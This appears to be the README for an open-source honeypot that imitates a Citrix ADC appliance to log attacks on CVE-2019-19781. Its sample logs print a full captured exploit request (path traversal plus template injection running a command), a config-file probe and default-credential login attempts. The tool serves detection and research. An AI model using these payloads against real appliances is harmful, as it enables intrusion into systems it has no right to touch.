Citrix ADC (NetScaler) Honeypot
- Detects and logs payloads for CVE-2019-19781 (Shitrix / Citrixmash)
- Logs failed login attempts
- Serves content and headers taken from real appliance in order to increase chance of indexing on search engines (e.g. google, shodan etc.)
Installation
Precompiled
Precompiled Linux (x64) package available here
mkdir citrix-honeypot
cd citrix-honeypot
wget https://github.com/x1sec/citrix-honeypot/releases/download/v0.02/citrix-honeypot-linux-amd64.tar.gz
tar -xf citrix-honeypot-linux-amd64.tar.gz
go get
If you have a Go environment ready to go:
go get github.com/x1sec/citrix-honeypotRunning
Generate self signed certificate:
openssl genrsa -out server.key 2048
openssl ecparam -genkey -name secp384r1 -out server.key
openssl req -new -x509 -sha256 -key server.key -out server.crt -days 3650
It's easy as:
./citrix-honeypotThe honeypot will listen on both port 80 and 443 (so it must be run as root user)
Or to detach and run as a background process:
nohup ./citrix-honeypot &
Logs
Results / data is written to the ./log directory. They are:
hits.log - Scanning attempts and exploitation attempts with all data (e.g. headers, post body)
all.log - All HTTP requests that are observed hitting the server
logins.log - Attempted logins to the web interface
tlsErrors.log - Often internet scanners will send invalid data to port 443. HTTPS errors are logged here.
Examples
Running the first public released exploit:
$ cat logs/hits.log
2020/01/23 08:27:55
-------------------
Exploitation detected ...
src: xxx.xxx.xxx.xxx
POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/2.0
Host: xxx.xxx.xxx.xxx
Accept: */*
Content-Length: 181
Content-Type: application/x-www-form-urlencoded
Nsc_nonce: test1337
Nsc_user: /../../../../../../../../../../netscaler/portal/templates/zToMJRAzp0T0FuUS2cEp41ZZbmrtmUqS
User-Agent: curl/7.67.0
url=http://example.com\&title=[%25+template.new({'BLOCK'%3d'exec(\'id | tee /netscaler/portal/templates/zToMJRAzp0T0FuUS2cEp41ZZbmrtmUqS.xml\')%3b'})+%25]\&desc=test\&UI_inuse=RfWeb
Scanning attempt:
$ cat logs/hits.log
2020/01/23 08:41:02
-------------------
Scanning detected ...
src: xxx.xxx.xxx.xxx
GET /vpn/../vpns/cfg/smb.conf HTTP/2.0
Host: xxx.xxx.xxx.xxx
Accept: */*
User-Agent: curl/7.67.0
Login attempts:
$ cat logs/logins.log
2020/01/23 07:26:03 Failed login from xxx.xxx.xxx.xxx user:nsroot pass:nsroot
2020/01/23 08:26:03 Failed login from xxx.xxx.xxx.xxx user:admin pass:admin